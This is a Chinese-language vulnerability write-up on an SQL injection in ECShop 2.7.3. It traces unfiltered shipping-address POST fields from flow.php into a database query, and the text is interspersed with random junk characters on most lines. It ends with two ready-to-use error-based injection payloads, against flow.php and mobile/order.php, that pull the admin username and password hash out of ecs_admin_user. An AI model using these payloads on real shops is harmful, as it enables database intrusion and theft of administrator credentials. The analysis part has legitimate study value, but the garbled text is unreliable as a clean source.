前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* [$ K& E) [2 s3 U' f* @2 A
. T6 F/ c3 V9 Y- {" P: S: `* a
漏洞关键文件:
" j: {3 D9 U; f8 c, l5 |* ~( S9 a' L" M4 C
/includes/lib_order.php
# o. r1 N- ]6 Y5 X8 x j. a& f% ~8 i8 }2 ?1 }# [. a
关键函数:
6 ]$ C+ Q1 y- x, b* y9 C& ], J0 N8 x J. [' H
2 W, D4 E( T( K" p1 h
1 P7 o8 J( Y2 u' T" H01 function available_shipping_list($region_id_list)
6 [2 ~. T J, R$ I" j3 m
0 k( `, {0 @; P- A: |4 k+ ~$ V02 { 2 p+ l3 r/ o! r! T
/ @% d' d7 V9 i9 X03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 2 ^! {: r) g- E5 H5 w8 t) d7 a T6 Z
3 d$ }, s4 @ A& }4 M' [; E! c
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . " ^$ g5 \% v9 L( h
! N8 E% ^6 c4 @
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 0 N7 J: f9 u3 j- R3 P/ O; s# R
' s5 N0 ?' c! t5 ]06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 1 |8 M5 u- \ e5 x( ?2 w
& }+ O* f- `, i- v/ D/ b
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 5 {" M, K; @3 u! ~& a' ^2 ]. S
$ j$ L3 t4 Q: z0 O6 L$ z B
08 'WHERE r.region_id ' . db_create_in($region_id_list) . 8 K# G R$ `0 o1 K
* y3 n1 s. ]% i7 i/ e! M" p' Y09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; : I* T5 w9 f- N) R1 V H/ x$ o
- Y ~- S% @/ X( {10 0 S& @ I% u, q- V/ ~0 j
; R V4 a9 P+ E
11 return $GLOBALS['db']->getAll($sql); : K7 \( x, n) d5 n
" x) V6 A2 ~* ^9 c# L$ Q
12 }
8 R9 `; H7 A) X+ Y. J; ^3 W- \7 K5 q, `) f, `/ J4 p9 Z
显然对传入的参数没有任何过滤就带入了查询语句。# q5 W9 x: s9 s1 x- F! M/ K; q( p
$ j! K" u) S: P1 _' o# j2 L下面我们追踪这个函数在flow.php中:" C7 e/ G" D7 w& Y5 |" k
第531行: ( i: Q* p8 t Q3 r( |) @, c
- o' o( D. s% [9 u1 $shipping_list = available_shipping_list($region); . U: J0 r3 o6 Q4 e& b
* t2 L& X/ b' ]/ L3 ]9 w
2 w' E/ W+ w+ V6 V' S6 p0 X7 k) B& M5 h4 x2 E
6 q9 H6 J3 u9 b8 x" c/ H1 x
' D+ b9 b9 w, ]: k# u# X8 ?& T! w
再对传入变量进行追踪:+ w- N5 ]* Y! ?# ^. M1 T a
; ?2 i- U6 }7 J( G第530行: # `4 G+ G: t+ @: C
; W3 w. H y9 Y5 A- [' f1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
& a$ n$ {1 K8 M
- o+ \* R/ w5 a6 p" i * J. d9 L7 x8 Z) ~ I
) N6 K# S9 O4 @- h. S
1 V' T9 u: G9 c3 E9 f& c1 G4 b8 n$ b- R; R7 t9 H& ^) Q' K
第473行:
! j# v$ H& q( F
7 @7 l7 t- K# r0 J$ M1 $consignee = get_consignee($_SESSION['user_id']); - a' |* J$ @; c/ x% Y; ~) q( B
+ `$ F3 @$ Z1 c& M+ u# l到了一个关键函数:
- R* P; v" ^% z+ |; Q$ O& ]. c
, t$ R8 q# E# O, u; W0 g: V+ p/includes/lib_order.php
! ?" @) H" R3 k7 \/ ]
1 V2 f% z8 i; U1 ?
. h" h' w: i6 U
5 N F, T! N8 I8 K! v
9 Y' K3 z: T ]3 t
) Y. L8 [5 b1 b/ `+ w5 O8 F; G6 G# q01 function get_consignee($user_id)
4 @, m" R& J1 _2 D6 q' @
* ]4 X( N3 v; n2 J+ q( g$ C02 {
- ?! U' e, g6 c6 [; }' w
6 E* F& \4 [4 y& `03 if (isset($_SESSION['flow_consignee'])) % s/ g6 i$ f. [
$ o: A, V6 I+ k( g) b/ X04 { 7 N4 m/ i; E2 x9 V5 e/ }4 s) K$ n
. ], a; y: F% v; C, H6 ^6 b. n. m05 /* 如果存在session,则直接返回session中的收货人信息 */
6 P9 u( v7 N) u# Q. q, e5 g6 N7 S0 g
06 + z+ B7 m# I. a( g1 r
! r; n5 g; L- \6 t" k4 i
07 return $_SESSION['flow_consignee'];
; j2 x7 Z8 c1 L
1 C0 @, E9 z; h* e08 }
: L L) ^1 D* R1 v) j P: S0 n, [6 K# r: Q
09 else 3 R4 ~# y. m+ g5 m" I
5 T* y# D0 a. A& ?5 q# J10 { 3 }' }$ u/ p% m
: h7 u# H o7 O) A; J11 /* 如果不存在,则取得用户的默认收货人信息 */
5 F) h. u& ~! {" V& s+ [' {" J8 }& W. l6 F
12 $arr = array();
' u; M" e+ v* @: G
0 |. k ^& N; v1 j2 k0 H3 w, e( X13 ; f+ K% M7 X0 T; _# }2 H$ R
* h( A+ m X. m9 j- O( S
14 if ($user_id > 0)
9 P+ |# S" {% E$ r$ G1 R7 A: h% r, d O, [: S
15 {
2 J' g+ [ n U4 f6 d! o
3 } Q/ p% s+ z16 /* 取默认地址 */ ( }7 C0 `, d1 K/ [, x- d1 l
" I5 y6 W/ O/ r3 s7 J
17 $sql = "SELECT ua.*". 0 o% D4 \# \ _+ ~3 h, I, \) [4 @
- w, K2 n+ [. _/ ]$ Q$ |# z18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 8 x4 w+ I5 |; W
' e( e. O1 [% \& A$ Y19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; # E0 {8 x, C9 M& X, x: _. v
: I7 R M2 S% Y n" f
20 ! W& a9 m( s. |' Z2 I7 {/ P
8 h5 e. B2 z# J1 K2 j# c
21 $arr = $GLOBALS['db']->getRow($sql);
6 j- R; W% S& X" i) d# g! r. y/ P2 h3 {% I6 f$ n
22 } 9 ^0 V* ^& Z' E3 r9 T& {
+ k! M1 h* I" e23 6 F6 P- H, K8 o. u& \* M" x1 U, t& p
& B+ m) a0 j4 i/ ^# J0 _; @24 return $arr;
/ |- p9 ?1 ~* e' x9 H+ @6 ~; Q- e- s$ Y5 X* m, t+ V* H: S! ?
25 }
$ M$ p, P2 y6 e7 W/ E& J+ H9 b4 g1 l$ V7 h
26 }
, {- |% m9 l- }: s' j! x# H
8 T! c; h) e) r" Y! z0 O显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?9 G j) L1 g* O5 {
$ B# U& M* Q8 f; ^+ e# v
% I' @$ v. v% X- h8 x; _& n t6 l6 }* {) {" R
关键点:6 T, q T0 J& O
) ?! Z5 G" p$ h7 R& ], u0 D
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);2 w, \3 d7 h- N5 p
- D7 f9 T) _2 A7 h2 F) ~, V这里对传入参数反转义存入$_SESSION中。
5 Q# R$ h; f) }# G
% g! [8 b- W( H0 Q3 o5 ]$ P
2 w9 I+ }. C) H) `4 V* \/ R' P0 [
9 Z) _! t E) X& X' |' N* S$ b然后看下:
+ ~9 I' ]* E! ]/ |" Z/ m/ L7 c! c7 L$ u8 Y% Q5 F- |
* @1 T' u4 K8 _( v+ ^
$ Q" a, N9 N* u; P" Q, i
6 y3 b% u; m' x( |4 f
% C: Q7 u [' U1 K
01 $consignee = array( - r2 S7 p8 K/ W! ?
" D. \( ]7 W( s9 _3 R02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
( U$ {# E% ~2 i7 ]& Z+ G8 I, l, `& C' [6 ~; t* q" x
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
6 R3 E. U( b; H0 _( V
{$ ?( B( y! B6 u; ~. t0 y04 'country' => empty($_POST['country']) ? '' _POST['country'], + b0 H" d# U2 K$ V" Y
; m7 U6 g+ s4 R: {
05 'province' => empty($_POST['province']) ? '' _POST['province'],
9 M8 G- A1 l( |6 f/ f: @. D( a6 y" G' y! [! o
06 'city' => empty($_POST['city']) ? '' _POST['city'], 7 i0 S% S7 G% }* |; f! p" a
8 L6 h' [9 B# q# w# K* t! i4 V
07 'district' => empty($_POST['district']) ? '' _POST['district'],
" u+ C% p7 q, r3 E* A8 J; P2 w& Z: L9 G9 u
08 'email' => empty($_POST['email']) ? '' _POST['email'], : n% c8 g% ^9 f0 \- f
) I; _8 F: e+ z09 'address' => empty($_POST['address']) ? '' _POST['address'], 3 [0 {0 S; d. V o1 Y
8 X# a6 b* ]' q* `$ L10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
2 ^# `. G0 g7 {# m8 B7 L, I& G* M0 [7 T; w! [4 e. P7 b
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 8 I9 r* o8 D* s2 d7 z
' R6 U! @1 o) O) d- E, }12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
& O+ c6 }6 y- O; Y. w% n7 O- W& m) v; q% [: ?- `8 @7 F5 C* N) q
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
" o3 W1 W4 e: _+ N5 @+ w; k! f3 ~3 b2 D
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 8 S) h' g: q3 J
! B- Z3 k2 b* N- E% a9 O15 );
1 X6 `) g) \* J3 O# s
8 @0 [+ E$ B, J( e好了注入就这样出现了。
+ L! i- ?, r( Q% d: ^# M
# b% U# D3 ~# E' K* F& f==================
* X/ U' {& `( O
- y. T# L9 x" p8 C注入测试:
: L+ L9 w' b# N# m4 d
0 m. h4 k( G4 o* u, B环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
: N8 V) j, c* K3 s+ v) Z5 B" v3 h+ q( G4 o" X1 x
测试程序:ECShop_V2.7.3_UTF8_release1106
* }: h/ W' w' z4 C& R0 @; r3 q/ x) g) V
& D" M+ B+ b, ~; Q7 l2 P) m2 `
, d5 b' B5 Y( n' J1 l* Q7 |- \$ Y
1.首先需要点击一个商品加入购物车
3 X7 r$ e" m6 O- G( C' S4 P* M
+ f9 K5 U4 ?8 i0 K7 p5 g/ ?0 e2.注册一个会员帐号
+ J# s- y8 _9 g4 R% n1 l$ O$ B. R) g2 X* Y0 ?' \1 J7 \
3.post提交数据# k+ S1 c9 L8 H; \( _
4 u1 a ]; e( V8 V) d7 I' W5 W
; q, B7 A& P* l4 I/ a0 S/ `' p0 v( T' x( Q6 a9 I, K" i
1 http://127.0.0.1/ecshop/flow.php ( p9 z) ?6 _. g/ F5 y6 ^7 O
6 i+ D8 G/ c. N8 Z( u* G
2 ) p& k. i/ G0 `& D
% K+ Q& O |% Z7 U }% v( a% \) C
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
$ y% L O( Y7 Z. a举一反三,我们根据这个漏洞我们可以继续深入挖掘:, c: \; _* M9 p# w& j3 A+ v
$ E" q! B U% _, n/ ^& ]4 R) ]) \ K我们搜寻关键函数function available_shipping_list()
6 {! U4 D' n$ Q; ^8 m2 a
2 p1 i# ~3 m7 m5 ?8 y; z P) \: T$ W* {在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) D8 S- y/ ^+ m
+ h3 f) l, Y# X; ^4 g4 g
利用exp:
' C" D, T1 b5 O7 b
" ?+ U _+ a3 E# D8 _1.点击一个商品,点击购买商标" M7 |- [6 r- K! V
* T* X- Z x' ~
2.登录会员帐号 x! H. [! f7 `+ p$ R# ]
& V( F5 W2 a" S5 X$ X, |" `3.post提交:: O5 E8 U" X2 r6 D0 p& P
& E) G! ^$ _& A3 W% m
http://127.0.0.1/ecshop/mobile/order.php
& X! c" Y# n8 x8 o. w! [' [3 U- w. }
8 N& y. h/ w* |: i
1 b6 {& [! s! ^5 R2 B$ G5 Vcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=! f7 I8 r' f5 z
& N0 e: j! A/ c
|